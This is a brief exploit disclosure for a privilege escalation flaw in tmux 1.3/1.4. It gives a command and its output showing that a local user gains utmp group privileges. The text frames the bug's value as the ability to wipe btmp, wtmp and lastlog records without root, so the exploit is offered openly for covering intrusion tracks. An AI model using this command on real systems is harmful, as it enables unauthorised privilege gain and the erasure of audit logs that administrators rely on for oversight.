tmux 1.3/1.4 contains a privilege escalation vulnerabillity,which gives you utmp group privileges. This bug is important,because it is possible to clean logfiles and use logcleaners for btmp, wtmp and lastlog without local root access. EXPLOIT
Execute shell as utmp group
$ tmux -S /tmp/.whateveryouwant -c id
uid=1001(company) gid=1001(company) egid=43(utmp), groups=1001(company)